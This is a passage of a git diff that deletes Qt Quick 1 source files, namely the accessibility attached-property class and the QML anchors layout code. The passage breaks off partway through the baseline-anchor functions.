$$PWD/qdeclarativegraphicswidget.cpp \ - $$PWD/qdeclarativetextlayout.cpp \ - $$PWD/qdeclarativepincharea.cpp \ - $$PWD/qdeclarativeimplicitsizeitem.cpp - diff --git a/src/qtquick1/graphicsitems/qdeclarativeaccessibleattached.cpp b/src/qtquick1/graphicsitems/qdeclarativeaccessibleattached.cpp deleted file mode 100644 index 3a5d09b92f..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeaccessibleattached.cpp +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativeaccessibleattached_p.h" - -#ifndef QT_NO_ACCESSIBILITY - -#include "private/qdeclarativeitem_p.h" - -QT_BEGIN_NAMESPACE - - -QDeclarativeAccessibleAttached::QDeclarativeAccessibleAttached(QObject *parent) - : QObject(parent) -{ - Q_ASSERT(parent); - QDeclarativeItem *item = qobject_cast(parent); - if (!item) - return; - - // Enable accessibility for items with accessible content. This also - // enables accessibility for the ancestors of such items. - item->d_func()->setAccessibleFlagAndListener(); - QAccessible::updateAccessibility(QAccessibleEvent(QAccessible::ObjectCreated, item, 0)); -} - -QDeclarativeAccessibleAttached::~QDeclarativeAccessibleAttached() -{ -} - -QDeclarativeAccessibleAttached *QDeclarativeAccessibleAttached::qmlAttachedProperties(QObject *obj) -{ - return new QDeclarativeAccessibleAttached(obj); -} - -QT_END_NAMESPACE - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeaccessibleattached_p.h b/src/qtquick1/graphicsitems/qdeclarativeaccessibleattached_p.h deleted file mode 100644 index 6fccb7948f..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeaccessibleattached_p.h +++ /dev/null @@ -1,147 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QQUICK1ACCESSIBLEATTACHED_H -#define QQUICK1ACCESSIBLEATTACHED_H - -#include - -#include -#include - -#ifndef QT_NO_ACCESSIBILITY - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class Q_QTQUICK1_EXPORT QDeclarativeAccessibleAttached : public QObject -{ - Q_OBJECT - Q_PROPERTY(QAccessible::Role role READ role WRITE setRole NOTIFY roleChanged) - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) - Q_PROPERTY(QString description READ description WRITE setDescription NOTIFY descriptionChanged) - -public: - Q_ENUMS(QAccessible::Role QAccessible::Event QAccessible::State) - - QDeclarativeAccessibleAttached(QObject *parent); - ~QDeclarativeAccessibleAttached(); - - QAccessible::Role role() const { return m_role; } - void setRole(QAccessible::Role role) - { - m_role = role; - emit roleChanged(); - // There is no way to signify role changes at the moment. - // QAccessible::updateAccessibility(parent(), 0, QAccessible::); - } - QString name() const { return m_name; } - void setName(const QString &name) - { - m_name = name; - emit nameChanged(); - QAccessible::updateAccessibility(QAccessibleEvent(QAccessible::NameChanged, parent(), 0)); - } - - QString description() const { return m_description; } - void setDescription(const QString &description) - { - m_description = description; - emit descriptionChanged(); - QAccessible::updateAccessibility(QAccessibleEvent(QAccessible::DescriptionChanged, parent(), 0)); - } - - // Factory function - static QDeclarativeAccessibleAttached *qmlAttachedProperties(QObject *); - - // Property getter - static QObject *attachedProperties(const QObject *obj) - { - return qmlAttachedPropertiesObject(obj, false); - } - - static QVariant property(const QObject *object, const char *propertyName) - { - if (QObject *attachedObject = QDeclarativeAccessibleAttached::attachedProperties(object)) - return attachedObject->property(propertyName); - return QVariant(); - } - - static bool setProperty(QObject *object, const char *propertyName, const QVariant &value) - { - QObject *obj = qmlAttachedPropertiesObject(object, true); - if (!obj) { - qWarning("cannot set property Accessible.%s of QObject %s", propertyName, object->metaObject()->className()); - return false; - } - return obj->setProperty(propertyName, value); - } - - -Q_SIGNALS: - void roleChanged(); - void nameChanged(); - void descriptionChanged(); -private: - QAccessible::Role m_role; - QString m_name; - QString m_description; -public: - using QObject::property; -}; - - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarativeAccessibleAttached) -QML_DECLARE_TYPEINFO(QDeclarativeAccessibleAttached, QML_HAS_ATTACHED_PROPERTIES) - -QT_END_HEADER - -#endif // QT_NO_ACCESSIBILITY - -#endif - diff --git a/src/qtquick1/graphicsitems/qdeclarativeanchors.cpp b/src/qtquick1/graphicsitems/qdeclarativeanchors.cpp deleted file mode 100644 index 821abe1c15..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeanchors.cpp +++ /dev/null @@ -1,1169 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeanchors_p_p.h" - -#include "QtQuick1/qdeclarativeitem.h" -#include "QtQuick1/private/qdeclarativeitem_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - - - -//TODO: should we cache relationships, so we don't have to check each time (parent-child or sibling)? -//TODO: support non-parent, non-sibling (need to find lowest common ancestor) - -static qreal hcenter(QGraphicsItem *i) -{ - QGraphicsItemPrivate *item = QGraphicsItemPrivate::get(i); - - qreal width = item->width(); - int iw = width; - if (iw % 2) - return (width + 1) / 2; - else - return width / 2; -} - -static qreal vcenter(QGraphicsItem *i) -{ - QGraphicsItemPrivate *item = QGraphicsItemPrivate::get(i); - - qreal height = item->height(); - int ih = height; - if (ih % 2) - return (height + 1) / 2; - else - return height / 2; -} - -//### const item? -//local position -static qreal position(QGraphicsObject *item, QDeclarative1AnchorLine::AnchorLine anchorLine) -{ - qreal ret = 0.0; - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(item); - switch(anchorLine) { - case QDeclarative1AnchorLine::Left: - ret = item->x(); - break; - case QDeclarative1AnchorLine::Right: - ret = item->x() + d->width(); - break; - case QDeclarative1AnchorLine::Top: - ret = item->y(); - break; - case QDeclarative1AnchorLine::Bottom: - ret = item->y() + d->height(); - break; - case QDeclarative1AnchorLine::HCenter: - ret = item->x() + hcenter(item); - break; - case QDeclarative1AnchorLine::VCenter: - ret = item->y() + vcenter(item); - break; - case QDeclarative1AnchorLine::Baseline: - if (d->isDeclarativeItem) - ret = item->y() + static_cast(item)->baselineOffset(); - break; - default: - break; - } - - return ret; -} - -//position when origin is 0,0 -static qreal adjustedPosition(QGraphicsObject *item, QDeclarative1AnchorLine::AnchorLine anchorLine) -{ - qreal ret = 0.0; - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(item); - switch(anchorLine) { - case QDeclarative1AnchorLine::Left: - ret = 0.0; - break; - case QDeclarative1AnchorLine::Right: - ret = d->width(); - break; - case QDeclarative1AnchorLine::Top: - ret = 0.0; - break; - case QDeclarative1AnchorLine::Bottom: - ret = d->height(); - break; - case QDeclarative1AnchorLine::HCenter: - ret = hcenter(item); - break; - case QDeclarative1AnchorLine::VCenter: - ret = vcenter(item); - break; - case QDeclarative1AnchorLine::Baseline: - if (d->isDeclarativeItem) - ret = static_cast(item)->baselineOffset(); - break; - default: - break; - } - - return ret; -} - -QDeclarative1Anchors::QDeclarative1Anchors(QObject *parent) - : QObject(*new QDeclarative1AnchorsPrivate(0), parent) -{ - qFatal("QDeclarative1Anchors::QDeclarative1Anchors(QObject*) called"); -} - -QDeclarative1Anchors::QDeclarative1Anchors(QGraphicsObject *item, QObject *parent) - : QObject(*new QDeclarative1AnchorsPrivate(item), parent) -{ -} - -QDeclarative1Anchors::~QDeclarative1Anchors() -{ - Q_D(QDeclarative1Anchors); - d->remDepend(d->fill); - d->remDepend(d->centerIn); - d->remDepend(d->left.item); - d->remDepend(d->right.item); - d->remDepend(d->top.item); - d->remDepend(d->bottom.item); - d->remDepend(d->vCenter.item); - d->remDepend(d->hCenter.item); - d->remDepend(d->baseline.item); -} - -void QDeclarative1AnchorsPrivate::fillChanged() -{ - Q_Q(QDeclarative1Anchors); - if (!fill || !isItemComplete()) - return; - - if (updatingFill < 2) { - ++updatingFill; - - qreal horizontalMargin = q->mirrored() ? rightMargin : leftMargin; - - if (fill == item->parentItem()) { //child-parent - setItemPos(QPointF(horizontalMargin, topMargin)); - } else if (fill->parentItem() == item->parentItem()) { //siblings - setItemPos(QPointF(fill->x()+horizontalMargin, fill->y()+topMargin)); - } - QGraphicsItemPrivate *fillPrivate = QGraphicsItemPrivate::get(fill); - setItemSize(QSizeF(fillPrivate->width()-leftMargin-rightMargin, fillPrivate->height()-topMargin-bottomMargin)); - - --updatingFill; - } else { - // ### Make this certain :) - qmlInfo(item) << QDeclarative1Anchors::tr("Possible anchor loop detected on fill."); - } - -} - -void QDeclarative1AnchorsPrivate::centerInChanged() -{ - Q_Q(QDeclarative1Anchors); - if (!centerIn || fill || !isItemComplete()) - return; - - if (updatingCenterIn < 2) { - ++updatingCenterIn; - - qreal effectiveHCenterOffset = q->mirrored() ? -hCenterOffset : hCenterOffset; - if (centerIn == item->parentItem()) { - QPointF p(hcenter(item->parentItem()) - hcenter(item) + effectiveHCenterOffset, - vcenter(item->parentItem()) - vcenter(item) + vCenterOffset); - setItemPos(p); - - } else if (centerIn->parentItem() == item->parentItem()) { - QPointF p(centerIn->x() + hcenter(centerIn) - hcenter(item) + effectiveHCenterOffset, - centerIn->y() + vcenter(centerIn) - vcenter(item) + vCenterOffset); - setItemPos(p); - } - - --updatingCenterIn; - } else { - // ### Make this certain :) - qmlInfo(item) << QDeclarative1Anchors::tr("Possible anchor loop detected on centerIn."); - } -} - -void QDeclarative1AnchorsPrivate::clearItem(QGraphicsObject *item) -{ - if (!item) - return; - if (fill == item) - fill = 0; - if (centerIn == item) - centerIn = 0; - if (left.item == item) { - left.item = 0; - usedAnchors &= ~QDeclarative1Anchors::LeftAnchor; - } - if (right.item == item) { - right.item = 0; - usedAnchors &= ~QDeclarative1Anchors::RightAnchor; - } - if (top.item == item) { - top.item = 0; - usedAnchors &= ~QDeclarative1Anchors::TopAnchor; - } - if (bottom.item == item) { - bottom.item = 0; - usedAnchors &= ~QDeclarative1Anchors::BottomAnchor; - } - if (vCenter.item == item) { - vCenter.item = 0; - usedAnchors &= ~QDeclarative1Anchors::VCenterAnchor; - } - if (hCenter.item == item) { - hCenter.item = 0; - usedAnchors &= ~QDeclarative1Anchors::HCenterAnchor; - } - if (baseline.item == item) { - baseline.item = 0; - usedAnchors &= ~QDeclarative1Anchors::BaselineAnchor; - } -} - -void QDeclarative1AnchorsPrivate::addDepend(QGraphicsObject *item) -{ - if (!item) - return; - QGraphicsItemPrivate * itemPrivate = QGraphicsItemPrivate::get(item); - if (itemPrivate->isDeclarativeItem) { - QDeclarativeItemPrivate *p = - static_cast(QGraphicsItemPrivate::get(item)); - p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - } else if(itemPrivate->isWidget) { - Q_Q(QDeclarative1Anchors); - QGraphicsWidget *widget = static_cast(item); - QObject::connect(widget, SIGNAL(destroyed(QObject*)), q, SLOT(_q_widgetDestroyed(QObject*))); - QObject::connect(widget, SIGNAL(geometryChanged()), q, SLOT(_q_widgetGeometryChanged())); - } -} - -void QDeclarative1AnchorsPrivate::remDepend(QGraphicsObject *item) -{ - if (!item) - return; - QGraphicsItemPrivate * itemPrivate = QGraphicsItemPrivate::get(item); - if (itemPrivate->isDeclarativeItem) { - QDeclarativeItemPrivate *p = - static_cast(itemPrivate); - p->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - } else if(itemPrivate->isWidget) { - Q_Q(QDeclarative1Anchors); - QGraphicsWidget *widget = static_cast(item); - QObject::disconnect(widget, SIGNAL(destroyed(QObject*)), q, SLOT(_q_widgetDestroyed(QObject*))); - QObject::disconnect(widget, SIGNAL(geometryChanged()), q, SLOT(_q_widgetGeometryChanged())); - } -} - -bool QDeclarative1AnchorsPrivate::isItemComplete() const -{ - return componentComplete; -} - -void QDeclarative1Anchors::classBegin() -{ - Q_D(QDeclarative1Anchors); - d->componentComplete = false; -} - -void QDeclarative1Anchors::componentComplete() -{ - Q_D(QDeclarative1Anchors); - d->componentComplete = true; -} - -bool QDeclarative1Anchors::mirrored() -{ - Q_D(QDeclarative1Anchors); - QGraphicsItemPrivate * itemPrivate = QGraphicsItemPrivate::get(d->item); - return itemPrivate->isDeclarativeItem ? static_cast(itemPrivate)->effectiveLayoutMirror : false; -} - -void QDeclarative1AnchorsPrivate::setItemHeight(qreal v) -{ - updatingMe = true; - QGraphicsItemPrivate::get(item)->setHeight(v); - updatingMe = false; -} - -void QDeclarative1AnchorsPrivate::setItemWidth(qreal v) -{ - updatingMe = true; - QGraphicsItemPrivate::get(item)->setWidth(v); - updatingMe = false; -} - -void QDeclarative1AnchorsPrivate::setItemX(qreal v) -{ - updatingMe = true; - item->setX(v); - updatingMe = false; -} - -void QDeclarative1AnchorsPrivate::setItemY(qreal v) -{ - updatingMe = true; - item->setY(v); - updatingMe = false; -} - -void QDeclarative1AnchorsPrivate::setItemPos(const QPointF &v) -{ - updatingMe = true; - item->setPos(v); - updatingMe = false; -} - -void QDeclarative1AnchorsPrivate::setItemSize(const QSizeF &v) -{ - updatingMe = true; - if(QGraphicsItemPrivate::get(item)->isWidget) - static_cast(item)->resize(v); - else if (QGraphicsItemPrivate::get(item)->isDeclarativeItem) - static_cast(item)->setSize(v); - updatingMe = false; -} - -void QDeclarative1AnchorsPrivate::updateMe() -{ - if (updatingMe) { - updatingMe = false; - return; - } - - fillChanged(); - centerInChanged(); - updateHorizontalAnchors(); - updateVerticalAnchors(); -} - -void QDeclarative1AnchorsPrivate::updateOnComplete() -{ - fillChanged(); - centerInChanged(); - updateHorizontalAnchors(); - updateVerticalAnchors(); -} - -void QDeclarative1AnchorsPrivate::_q_widgetDestroyed(QObject *obj) -{ - clearItem(qobject_cast(obj)); -} - -void QDeclarative1AnchorsPrivate::_q_widgetGeometryChanged() -{ - fillChanged(); - centerInChanged(); - updateHorizontalAnchors(); - updateVerticalAnchors(); -} - -void QDeclarative1AnchorsPrivate::itemGeometryChanged(QDeclarativeItem *, const QRectF &newG, const QRectF &oldG) -{ - fillChanged(); - centerInChanged(); - if (newG.x() != oldG.x() || newG.width() != oldG.width()) - updateHorizontalAnchors(); - if (newG.y() != oldG.y() || newG.height() != oldG.height()) - updateVerticalAnchors(); -} - -QGraphicsObject *QDeclarative1Anchors::fill() const -{ - Q_D(const QDeclarative1Anchors); - return d->fill; -} - -void QDeclarative1Anchors::setFill(QGraphicsObject *f) -{ - Q_D(QDeclarative1Anchors); - if (d->fill == f) - return; - - if (!f) { - d->remDepend(d->fill); - d->fill = f; - emit fillChanged(); - return; - } - if (f != d->item->parentItem() && f->parentItem() != d->item->parentItem()){ - qmlInfo(d->item) << tr("Cannot anchor to an item that isn't a parent or sibling."); - return; - } - d->remDepend(d->fill); - d->fill = f; - d->addDepend(d->fill); - emit fillChanged(); - d->fillChanged(); -} - -void QDeclarative1Anchors::resetFill() -{ - setFill(0); -} - -QGraphicsObject *QDeclarative1Anchors::centerIn() const -{ - Q_D(const QDeclarative1Anchors); - return d->centerIn; -} - -void QDeclarative1Anchors::setCenterIn(QGraphicsObject* c) -{ - Q_D(QDeclarative1Anchors); - if (d->centerIn == c) - return; - - if (!c) { - d->remDepend(d->centerIn); - d->centerIn = c; - emit centerInChanged(); - return; - } - if (c != d->item->parentItem() && c->parentItem() != d->item->parentItem()){ - qmlInfo(d->item) << tr("Cannot anchor to an item that isn't a parent or sibling."); - return; - } - - d->remDepend(d->centerIn); - d->centerIn = c; - d->addDepend(d->centerIn); - emit centerInChanged(); - d->centerInChanged(); -} - -void QDeclarative1Anchors::resetCenterIn() -{ - setCenterIn(0); -} - -bool QDeclarative1AnchorsPrivate::calcStretch(const QDeclarative1AnchorLine &edge1, - const QDeclarative1AnchorLine &edge2, - qreal offset1, - qreal offset2, - QDeclarative1AnchorLine::AnchorLine line, - qreal &stretch) -{ - bool edge1IsParent = (edge1.item == item->parentItem()); - bool edge2IsParent = (edge2.item == item->parentItem()); - bool edge1IsSibling = (edge1.item->parentItem() == item->parentItem()); - bool edge2IsSibling = (edge2.item->parentItem() == item->parentItem()); - - bool invalid = false; - if ((edge2IsParent && edge1IsParent) || (edge2IsSibling && edge1IsSibling)) { - stretch = (position(edge2.item, edge2.anchorLine) + offset2) - - (position(edge1.item, edge1.anchorLine) + offset1); - } else if (edge2IsParent && edge1IsSibling) { - stretch = (position(edge2.item, edge2.anchorLine) + offset2) - - (position(item->parentObject(), line) - + position(edge1.item, edge1.anchorLine) + offset1); - } else if (edge2IsSibling && edge1IsParent) { - stretch = (position(item->parentObject(), line) + position(edge2.item, edge2.anchorLine) + offset2) - - (position(edge1.item, edge1.anchorLine) + offset1); - } else - invalid = true; - - return invalid; -} - -void QDeclarative1AnchorsPrivate::updateVerticalAnchors() -{ - if (fill || centerIn || !isItemComplete()) - return; - - if (updatingVerticalAnchor < 2) { - ++updatingVerticalAnchor; - QGraphicsItemPrivate *itemPrivate = QGraphicsItemPrivate::get(item); - if (usedAnchors & QDeclarative1Anchors::TopAnchor) { - //Handle stretching - bool invalid = true; - qreal height = 0.0; - if (usedAnchors & QDeclarative1Anchors::BottomAnchor) { - invalid = calcStretch(top, bottom, topMargin, -bottomMargin, QDeclarative1AnchorLine::Top, height); - } else if (usedAnchors & QDeclarative1Anchors::VCenterAnchor) { - invalid = calcStretch(top, vCenter, topMargin, vCenterOffset, QDeclarative1AnchorLine::Top, height); - height *= 2; - } - if (!invalid) - setItemHeight(height); - - //Handle top - if (top.item == item->parentItem()) { - setItemY(adjustedPosition(top.item, top.anchorLine) + topMargin); - } else if (top.item->parentItem() == item->parentItem()) { - setItemY(position(top.item, top.anchorLine) + topMargin); - } - } else if (usedAnchors & QDeclarative1Anchors::BottomAnchor) { - //Handle stretching (top + bottom case is handled above) - if (usedAnchors & QDeclarative1Anchors::VCenterAnchor) { - qreal height = 0.0; - bool invalid = calcStretch(vCenter, bottom, vCenterOffset, -bottomMargin, - QDeclarative1AnchorLine::Top, height); - if (!invalid) - setItemHeight(height*2); - } - - //Handle bottom - if (bottom.item == item->parentItem()) { - setItemY(adjustedPosition(bottom.item, bottom.anchorLine) - itemPrivate->height() - bottomMargin); - } else if (bottom.item->parentItem() == item->parentItem()) { - setItemY(position(bottom.item, bottom.anchorLine) - itemPrivate->height() - bottomMargin); - } - } else if (usedAnchors & QDeclarative1Anchors::VCenterAnchor) { - //(stetching handled above) - - //Handle vCenter - if (vCenter.item == item->parentItem()) { - setItemY(adjustedPosition(vCenter.item, vCenter.anchorLine) - - vcenter(item) + vCenterOffset); - } else if (vCenter.item->parentItem() == item->parentItem()) { - setItemY(position(vCenter.item, vCenter.anchorLine) - vcenter(item) + vCenterOffset); - } - } else if (usedAnchors & QDeclarative1Anchors::BaselineAnchor) { - //Handle baseline - if (baseline.item == item->parentItem()) { - if (itemPrivate->isDeclarativeItem) - setItemY(adjustedPosition(baseline.item, baseline.anchorLine) - - static_cast(item)->baselineOffset() + baselineOffset); - } else if (baseline.item->parentItem() == item->parentItem()) { - if (itemPrivate->isDeclarativeItem) - setItemY(position(baseline.item, baseline.anchorLine) - - static_cast(item)->baselineOffset() + baselineOffset); - } - } - --updatingVerticalAnchor; - } else { - // ### Make this certain :) - qmlInfo(item) << QDeclarative1Anchors::tr("Possible anchor loop detected on vertical anchor."); - } -} - -inline QDeclarative1AnchorLine::AnchorLine reverseAnchorLine(QDeclarative1AnchorLine::AnchorLine anchorLine) { - if (anchorLine == QDeclarative1AnchorLine::Left) { - return QDeclarative1AnchorLine::Right; - } else if (anchorLine == QDeclarative1AnchorLine::Right) { - return QDeclarative1AnchorLine::Left; - } else { - return anchorLine; - } -} - -void QDeclarative1AnchorsPrivate::updateHorizontalAnchors() -{ - Q_Q(QDeclarative1Anchors); - if (fill || centerIn || !isItemComplete()) - return; - - if (updatingHorizontalAnchor < 3) { - ++updatingHorizontalAnchor; - qreal effectiveRightMargin, effectiveLeftMargin, effectiveHorizontalCenterOffset; - QDeclarative1AnchorLine effectiveLeft, effectiveRight, effectiveHorizontalCenter; - QDeclarative1Anchors::Anchor effectiveLeftAnchor, effectiveRightAnchor; - if (q->mirrored()) { - effectiveLeftAnchor = QDeclarative1Anchors::RightAnchor; - effectiveRightAnchor = QDeclarative1Anchors::LeftAnchor; - effectiveLeft.item = right.item; - effectiveLeft.anchorLine = reverseAnchorLine(right.anchorLine); - effectiveRight.item = left.item; - effectiveRight.anchorLine = reverseAnchorLine(left.anchorLine); - effectiveHorizontalCenter.item = hCenter.item; - effectiveHorizontalCenter.anchorLine = reverseAnchorLine(hCenter.anchorLine); - effectiveLeftMargin = rightMargin; - effectiveRightMargin = leftMargin; - effectiveHorizontalCenterOffset = -hCenterOffset; - } else { - effectiveLeftAnchor = QDeclarative1Anchors::LeftAnchor; - effectiveRightAnchor = QDeclarative1Anchors::RightAnchor; - effectiveLeft = left; - effectiveRight = right; - effectiveHorizontalCenter = hCenter; - effectiveLeftMargin = leftMargin; - effectiveRightMargin = rightMargin; - effectiveHorizontalCenterOffset = hCenterOffset; - } - - QGraphicsItemPrivate *itemPrivate = QGraphicsItemPrivate::get(item); - if (usedAnchors & effectiveLeftAnchor) { - //Handle stretching - bool invalid = true; - qreal width = 0.0; - if (usedAnchors & effectiveRightAnchor) { - invalid = calcStretch(effectiveLeft, effectiveRight, effectiveLeftMargin, -effectiveRightMargin, QDeclarative1AnchorLine::Left, width); - } else if (usedAnchors & QDeclarative1Anchors::HCenterAnchor) { - invalid = calcStretch(effectiveLeft, effectiveHorizontalCenter, effectiveLeftMargin, effectiveHorizontalCenterOffset, QDeclarative1AnchorLine::Left, width); - width *= 2; - } - if (!invalid) - setItemWidth(width); - - //Handle left - if (effectiveLeft.item == item->parentItem()) { - setItemX(adjustedPosition(effectiveLeft.item, effectiveLeft.anchorLine) + effectiveLeftMargin); - } else if (effectiveLeft.item->parentItem() == item->parentItem()) { - setItemX(position(effectiveLeft.item, effectiveLeft.anchorLine) + effectiveLeftMargin); - } - } else if (usedAnchors & effectiveRightAnchor) { - //Handle stretching (left + right case is handled in updateLeftAnchor) - if (usedAnchors & QDeclarative1Anchors::HCenterAnchor) { - qreal width = 0.0; - bool invalid = calcStretch(effectiveHorizontalCenter, effectiveRight, effectiveHorizontalCenterOffset, -effectiveRightMargin, - QDeclarative1AnchorLine::Left, width); - if (!invalid) - setItemWidth(width*2); - } - - //Handle right - if (effectiveRight.item == item->parentItem()) { - setItemX(adjustedPosition(effectiveRight.item, effectiveRight.anchorLine) - itemPrivate->width() - effectiveRightMargin); - } else if (effectiveRight.item->parentItem() == item->parentItem()) { - setItemX(position(effectiveRight.item, effectiveRight.anchorLine) - itemPrivate->width() - effectiveRightMargin); - } - } else if (usedAnchors & QDeclarative1Anchors::HCenterAnchor) { - //Handle hCenter - if (effectiveHorizontalCenter.item == item->parentItem()) { - setItemX(adjustedPosition(effectiveHorizontalCenter.item, effectiveHorizontalCenter.anchorLine) - hcenter(item) + effectiveHorizontalCenterOffset); - } else if (effectiveHorizontalCenter.item->parentItem() == item->parentItem()) { - setItemX(position(effectiveHorizontalCenter.item, effectiveHorizontalCenter.anchorLine) - hcenter(item) + effectiveHorizontalCenterOffset); - } - } - --updatingHorizontalAnchor; - } else { - // ### Make this certain :) - qmlInfo(item) << QDeclarative1Anchors::tr("Possible anchor loop detected on horizontal anchor."); - } -} - -QDeclarative1AnchorLine QDeclarative1Anchors::top() const -{ - Q_D(const QDeclarative1Anchors); - return d->top; -} - -void QDeclarative1Anchors::setTop(const QDeclarative1AnchorLine &edge) -{ - Q_D(QDeclarative1Anchors); - if (!d->checkVAnchorValid(edge) || d->top == edge) - return; - - d->usedAnchors |= TopAnchor; - - if (!d->checkVValid()) { - d->usedAnchors &= ~TopAnchor; - return; - } - - d->remDepend(d->top.item); - d->top = edge; - d->addDepend(d->top.item); - emit topChanged(); - d->updateVerticalAnchors(); -} - -void QDeclarative1Anchors::resetTop() -{ - Q_D(QDeclarative1Anchors); - d->usedAnchors &= ~TopAnchor; - d->remDepend(d->top.item); - d->top = QDeclarative1AnchorLine(); - emit topChanged(); - d->updateVerticalAnchors(); -} - -QDeclarative1AnchorLine QDeclarative1Anchors::bottom() const -{ - Q_D(const QDeclarative1Anchors); - return d->bottom; -} - -void QDeclarative1Anchors::setBottom(const QDeclarative1AnchorLine &edge) -{ - Q_D(QDeclarative1Anchors); - if (!d->checkVAnchorValid(edge) || d->bottom == edge) - return; - - d->usedAnchors |= BottomAnchor; - - if (!d->checkVValid()) { - d->usedAnchors &= ~BottomAnchor; - return; - } - - d->remDepend(d->bottom.item); - d->bottom = edge; - d->addDepend(d->bottom.item); - emit bottomChanged(); - d->updateVerticalAnchors(); -} - -void QDeclarative1Anchors::resetBottom() -{ - Q_D(QDeclarative1Anchors); - d->usedAnchors &= ~BottomAnchor; - d->remDepend(d->bottom.item); - d->bottom = QDeclarative1AnchorLine(); - emit bottomChanged(); - d->updateVerticalAnchors(); -} - -QDeclarative1AnchorLine QDeclarative1Anchors::verticalCenter() const -{ - Q_D(const QDeclarative1Anchors); - return d->vCenter; -} - -void QDeclarative1Anchors::setVerticalCenter(const QDeclarative1AnchorLine &edge) -{ - Q_D(QDeclarative1Anchors); - if (!d->checkVAnchorValid(edge) || d->vCenter == edge) - return; - - d->usedAnchors |= VCenterAnchor; - - if (!d->checkVValid()) { - d->usedAnchors &= ~VCenterAnchor; - return; - } - - d->remDepend(d->vCenter.item); - d->vCenter = edge; - d->addDepend(d->vCenter.item); - emit verticalCenterChanged(); - d->updateVerticalAnchors(); -} - -void QDeclarative1Anchors::resetVerticalCenter() -{ - Q_D(QDeclarative1Anchors); - d->usedAnchors &= ~VCenterAnchor; - d->remDepend(d->vCenter.item); - d->vCenter = QDeclarative1AnchorLine(); - emit verticalCenterChanged(); - d->updateVerticalAnchors(); -} - -QDeclarative1AnchorLine QDeclarative1Anchors::baseline() const -{ - Q_D(const QDeclarative1Anchors); - return d->baseline; -} - -void QDeclarative1Anchors::setBaseline(const QDeclarative1AnchorLine &edge) -{ - Q_D(QDeclarative1Anchors); - if (!d->checkVAnchorValid(edge) || d->baseline == edge) - return; - - d->usedAnchors |= BaselineAnchor; - - if (!d->checkVValid()) { - d->usedAnchors &= ~BaselineAnchor; - return; - } - - d->remDepend(d->baseline.item); - d->baseline = edge; - d->addDepend(d->baseline.item); - emit baselineChanged(); - d->updateVerticalAnchors(); -} - -void QDeclarative1Anchors::resetBaseline() -{ - 